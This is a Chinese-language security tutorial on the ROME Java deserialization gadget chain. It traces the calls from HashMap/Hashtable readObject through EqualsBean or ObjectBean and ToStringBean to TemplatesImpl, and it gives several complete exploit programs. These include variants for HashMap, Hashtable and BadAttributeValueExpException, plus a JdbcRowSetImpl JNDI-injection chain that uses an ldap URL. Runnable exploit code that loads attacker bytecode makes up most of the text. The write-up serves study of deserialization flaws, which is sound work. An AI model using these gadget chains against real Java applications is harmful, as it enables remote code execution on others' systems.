ROME反序列化

ROME反序列化基本调用流程

它指的是一个有用的工具库,帮助处理和操作XML格式的数据。ROME库允许我们把XML数据转换成Java中的对象,这样我们可以更方便地在程序中操作数据。另外,它也支持将Java对象转换成XML数据,这样我们就可以把数据保存成XML文件或者发送给其他系统。

他有个特殊的位置就是ROME提供了ToStringBean这个类,提供深入的toString方法对Java Bean进行操作。

ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。

导入依赖

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
</dependencies>

这里先看看ysoserial中的利用链

1
2
3
4
5
6
7
8
TemplatesImpl.getOutputProperties()
ToStringBean.toString(String)
ToStringBean.toString()
ObjectBean.toString()
EqualsBean.beanHashCode()
ObjectBean.hashCode()
HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)

这里有挺多和cc链相似的调用,这里也是通过TemplatesImpl来实现任意类加载,后面也是通过hsahmap的readObject方法来完成调用,下面就可以具体看看中间的调用流程是怎么实现的

首先TemplatesImpl的getOutputProperties方法满足javaBean的写法,在ToStringBean的toString方法中就完美的满足了其调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(_beanClass);
if (pds!=null) {
for (int i=0;i<pds.length;i++) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod!=null && // ensure it has a getter method
pReadMethod.getDeclaringClass()!=Object.class && // filter Object.class getter methods
pReadMethod.getParameterTypes().length==0) { // filter getter methods that take parameters
Object value = pReadMethod.invoke(_obj,NO_PARAMS);
printProperty(sb,prefix+"."+pName,value);
}
}
}
}
}

这里先静态的分析其toString的代码逻辑,这里先是通过BeanIntrospector的getPropertyDescriptors方法来获取_beanClass类中的所有属性描述符,方便后续来反射调用其getter方法

后面就是通过for循环来执行getter方法的流程,具体就是执行_obj对象的方法,从这里知道_beanClass类应该为我们的Templates.class,而_obj对象为我们恶意构造的templates对象

查看ToStringBean类的相关信息,这里发现它是实现了Serializable接口,并且它的有参构造函数里面可以传入我们构造的参数

1
2
3
4
public ToStringBean(Class beanClass,Object obj) {
_beanClass = beanClass;
_obj = obj;
}

因为ToStringBean的toString(String)方法是private方法,就可以看看哪里调用了toString(String),这里就在它的另外一个toString方法里面

第一段exp就结束了,成功命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "test");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://java/test.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
toStringBean.toString();
}

接下来就得继续看哪里可以调用任意类的toString方法就可以,下面就来到了EqualsBean类的beanHashCode,而beanHashCode又被它的hashCode方法所调用,下面就可以延长exp链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public int beanHashCode() {
return _obj.toString().hashCode();
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "test");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://java/test.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
equalsBean.hashCode();
}

下面就可以结合cc链来实现完整的poc链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "test");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://java/test.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, new TransformerFactoryImpl());
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
// equalsBean.hashCode();
HashMap map = new HashMap<>();
map.put(equalsBean,"luokuang");

Field aa=toStringBean.getClass().getDeclaredField("_obj");
aa.setAccessible(true);
aa.set(toStringBean,templates);
serialized(map,"123.bin");
unserialized("123.bin");
}

下面就是其它exp构造

EXP(ObjectBean)

ObjectBean类可以代替上面的EqualsBean类因为在其构造方法里面创建了一个EqualsBean对象,还是一样它的hashCode方法里面调用了beanHashCode方法所以就可以直接平替的作用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "test");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://java/test.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, new TransformerFactoryImpl());
ObjectBean equalsBean = new ObjectBean(ToStringBean.class, toStringBean);
// equalsBean.hashCode();
HashMap map = new HashMap<>();
map.put(equalsBean,"luokuang");

Field aa=toStringBean.getClass().getDeclaredField("_obj");
aa.setAccessible(true);
aa.set(toStringBean,templates);
serialized(map,"123.bin");
unserialized("123.bin");
}

EXP(HashTable)

这里针对如果入口类黑名单中存在HashMap类,我们这里能够用HashTable进行绕过,我们可以发现HashTable的readObject地方,对每个key和value都会调用reconstitutionPut()函数,该函数里面又调用了key的hashcode方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "test");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://java/test.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, new TransformerFactoryImpl());
ObjectBean equalsBean = new ObjectBean(ToStringBean.class, toStringBean);
// equalsBean.hashCode();
Hashtable hashtable = new Hashtable();
hashtable.put(equalsBean,"luokuang");

Field aa=toStringBean.getClass().getDeclaredField("_obj");
aa.setAccessible(true);
aa.set(toStringBean,templates);
serialized(hashtable,"123.bin");
unserialized("123.bin");
}

EXP(BadAttributeValueExpException)

结合cc的做法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "test");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://java/test.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);

Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class, new TransformerFactoryImpl());
ObjectBean equalsBean = new ObjectBean(ToStringBean.class, toStringBean);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c=badAttributeValueExpException.getClass();
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,toStringBean);
Field aa=toStringBean.getClass().getDeclaredField("_obj");
aa.setAccessible(true);
aa.set(toStringBean,templates);
serialized(badAttributeValueExpException,"123.bin");
unserialized("123.bin");
}

JdbcRowSetImpl利用链

这里采用的是FastJson<=1.2.24版本,所以该版本的限制这里也存在

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:9999/test";
jdbcRowSet.setDataSourceName(url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, new TransformerFactoryImpl());
ObjectBean equalsBean = new ObjectBean(ToStringBean.class, toStringBean);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c=badAttributeValueExpException.getClass();
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,toStringBean);
Field aa=toStringBean.getClass().getDeclaredField("_obj");
aa.setAccessible(true);
aa.set(toStringBean,jdbcRowSet);
serialized(badAttributeValueExpException,"123.bin");
unserialized("123.bin");
}

流程分析,这里后半段里面是通过调用传入类的属性的getter方法,目的是调用到JdbcRowSetImpl的connect方法,这里调用了lookup方法从而实现jndi注入

它的connect方法是在它的getDatabaseMetaData方法,这个方法为一个getter方法

而lookup方法里面的值为dataSource

1
2
3
public String getDataSourceName() {
return dataSource;
}

poc构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static void main(String[] args) throws Exception { 
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://127.0.0.1:9999/test";
jdbcRowSet.setDataSourceName(url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, new TransformerFactoryImpl());
ObjectBean equalsBean = new ObjectBean(ToStringBean.class, toStringBean);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c=badAttributeValueExpException.getClass();
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,toStringBean);
Field aa=toStringBean.getClass().getDeclaredField("_obj");
aa.setAccessible(true);
aa.set(toStringBean,jdbcRowSet);
serialized(badAttributeValueExpException,"123.bin");
unserialized("123.bin");
}